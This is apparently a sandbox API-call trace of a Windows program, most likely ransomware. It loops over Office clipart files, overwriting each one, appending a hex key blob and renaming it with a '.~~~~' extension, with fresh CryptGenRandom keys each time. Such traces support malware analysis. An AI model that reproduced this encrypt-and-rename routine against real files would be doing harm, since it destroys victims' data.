	[0097.451] GetLastError () returned 0x0
	[0097.458] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff79c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.458] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x864, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x864, lpOverlapped=0x0) returned 1
	[0097.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.459] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.459] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.459] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.459] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.459] CloseHandle (hObject=0x128) returned 1
	[0097.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.460] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.~~~~")) returned 1
	[0097.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.460] GetLastError () returned 0x0
	[0097.461] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.461] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.461] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.462] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21745177683) returned 1
	[0097.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3cef750, dwHighDateTime=0x1d60e1e)) 
	[0097.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840d88
	[0097.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840d88 | out: hHeap=0x300000) returned 1
	[0097.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c5d8
	[0097.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.462] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.462] GetLastError () returned 0x0
	[0097.463] GetLastError () returned 0x0
	[0097.463] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.463] GetLastError () returned 0x0
	[0097.463] GetLastError () returned 0x0
	[0097.473] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff2fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.473] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xd04, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0xd04, lpOverlapped=0x0) returned 1
	[0097.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.474] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.474] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.474] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.474] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.474] CloseHandle (hObject=0x128) returned 1
	[0097.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.~~~~")) returned 1
	[0097.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.475] GetLastError () returned 0x0
	[0097.475] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.476] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.476] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.476] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21746646569) returned 1
	[0097.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3cef750, dwHighDateTime=0x1d60e1e)) 
	[0097.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840dc0
	[0097.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840dc0 | out: hHeap=0x300000) returned 1
	[0097.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c670
	[0097.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.477] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.477] GetLastError () returned 0x0
	[0097.477] GetLastError () returned 0x0
	[0097.477] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.478] GetLastError () returned 0x0
	[0097.478] GetLastError () returned 0x0
	[0097.624] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffca28, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.624] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x35d8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x35d8, lpOverlapped=0x0) returned 1
	[0097.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.624] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.625] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.625] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.625] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.625] CloseHandle (hObject=0x128) returned 1
	[0097.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.625] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.~~~~")) returned 1
	[0097.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.626] GetLastError () returned 0x0
	[0097.649] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.650] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.650] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.650] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21764029105) returned 1
	[0097.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3eb87d0, dwHighDateTime=0x1d60e1e)) 
	[0097.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841098
	[0097.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841098 | out: hHeap=0x300000) returned 1
	[0097.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280cd90
	[0097.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.651] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.651] GetLastError () returned 0x0
	[0097.651] GetLastError () returned 0x0
	[0097.651] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.651] GetLastError () returned 0x0
	[0097.651] GetLastError () returned 0x0
	[0097.656] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffb158, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.656] WriteFile (in: hFile=0x128, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x4ea8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x4ea8, lpOverlapped=0x0) returned 1
	[0097.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0097.657] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.657] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.657] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.657] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.657] CloseHandle (hObject=0x128) returned 1
	[0097.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.658] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.~~~~")) returned 1
	[0097.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.659] GetLastError () returned 0x0
	[0097.659] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.660] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.660] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.660] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21765029599) returned 1
	[0097.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3eb87d0, dwHighDateTime=0x1d60e1e)) 
	[0097.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841108
	[0097.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841108 | out: hHeap=0x300000) returned 1
	[0097.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280ccf8
	[0097.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.661] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.661] GetLastError () returned 0x0
	[0097.661] GetLastError () returned 0x0
	[0097.661] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.661] GetLastError () returned 0x0
	[0097.661] GetLastError () returned 0x0
	[0097.663] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffc11c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.664] WriteFile (in: hFile=0x128, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x3ee4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x3ee4, lpOverlapped=0x0) returned 1
	[0097.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0097.668] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.668] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.668] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.668] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.668] CloseHandle (hObject=0x128) returned 1
	[0097.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.668] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.~~~~")) returned 1
	[0097.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.669] GetLastError () returned 0x0
	[0097.670] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.671] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0097.671] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0097.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.671] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21766088868) returned 1
	[0097.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3ede930, dwHighDateTime=0x1d60e1e)) 
	[0097.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841140
	[0097.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841140 | out: hHeap=0x300000) returned 1
	[0097.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280cff0
	[0097.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.671] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.672] GetLastError () returned 0x0
